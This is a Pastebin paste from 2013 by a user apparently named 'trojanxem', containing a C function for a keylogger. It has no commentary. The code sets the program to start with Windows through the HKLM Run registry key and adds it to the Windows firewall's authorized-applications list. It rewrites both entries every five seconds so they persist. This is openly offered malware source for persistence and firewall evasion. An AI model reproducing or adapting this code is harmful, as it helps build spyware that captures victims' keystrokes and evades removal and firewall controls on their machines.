trojanxem

Untitled

Feb 2nd, 2013
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.98 KB | None | 0 0
  1. char *Keylogger;
  2.  
  3. DWORD WINAPI AddRegistryKey(LPVOID lpVoid)
  4. {
  5.    HKEY RegistryKey;
  6.  
  7.    char FilePath[255];
  8.    GetModuleFileName(0, FilePath, sizeof(FilePath));
  9.  
  10.    while(true)
  11.    {
  12.       if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 0, REG_OPTION_NON_VOLATILE,
  13.       KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS)
  14.       {
  15.          RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, strlen(FilePath) + 1);
  16.           RegCloseKey(RegistryKey);
  17.       }
  18.  
  19.       if(RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List", 0,
  20.       0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &RegistryKey, 0) == ERROR_SUCCESS )
  21.       {
  22.          RegSetValueEx(RegistryKey, Keylogger, 0, REG_SZ, (unsigned char *)FilePath, strlen(FilePath) + 1 );
  23.          RegCloseKey(RegistryKey);
  24.       }
  25.  
  26.       Sleep(5000);
  27.    }
  28. }
Advertisement
Add Comment
Please, Sign In to add comment